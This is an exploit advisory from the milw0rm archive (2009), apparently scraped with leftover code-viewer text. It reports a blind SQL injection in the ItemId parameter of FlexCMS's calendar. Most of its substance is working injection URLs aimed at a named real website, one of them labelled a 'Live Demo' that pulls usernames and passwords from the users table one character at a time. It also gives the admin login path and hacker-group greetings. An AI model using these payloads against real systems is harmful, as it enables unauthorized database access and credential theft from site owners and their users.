34 lines
No EOL
1.4 KiB
Text
34 lines
No EOL
1.4 KiB
Text
*****************************************************************************
|
|
* *
|
|
* FlexCMS Calendar(ItemId) Blind SQL Injection Vulnerability *
|
|
* *
|
|
*****************************************************************************
|
|
AUTHOR: MisterRichard
|
|
Developer site: http://www.flexcms.dk/
|
|
Admin login site:
|
|
http://target.com/flexadmin/
|
|
***************************************
|
|
|
|
[=] Vulnerability author : Lanti-Net
|
|
[=] Contact: lanti-net[at]hotmail[dot]com
|
|
[=] Site : www.khg-crew.ws
|
|
[=] Greetz: SpYrO , boom3rang, KHG, urtan, H!tm@N , war_ning, chs, redc00de , LiTTlE-HaCkEr , L1R1D0N1
|
|
[=] -=[Kosova Hackers Group]=--=[KHG-Crew]=-
|
|
|
|
***************************************
|
|
[=] Example : /flx/aktiviteter/kalender/?ItemId={SQL}
|
|
|
|
http://www.radikalungdom.dk/flx/aktiviteter/kalender/?ItemId=1%20and%20substring(@@version,1,1)=4 >>FALSE
|
|
|
|
[=] Live Demo: http://www.radikalungdom.dk/flx/aktiviteter/kalender/?ItemId=5%20and%20ascii(substring((SELECT%20concat(username,0x3a,password)%20from%20users%20limit%200,1),1,1))>95
|
|
|
|
http://www.radikalungdom.dk/flx/aktiviteter/kalender/?ItemId=1%20and%20substring(@@version,1,1)=5 >>TRUE
|
|
***************************************
|
|
|
|
[=] Proud 2 be Albanian
|
|
[=] Proud 2 be Muslim
|
|
[=] United States of Albania
|
|
|
|
***************************************
|
|
|
|
# milw0rm.com [2009-04-06] |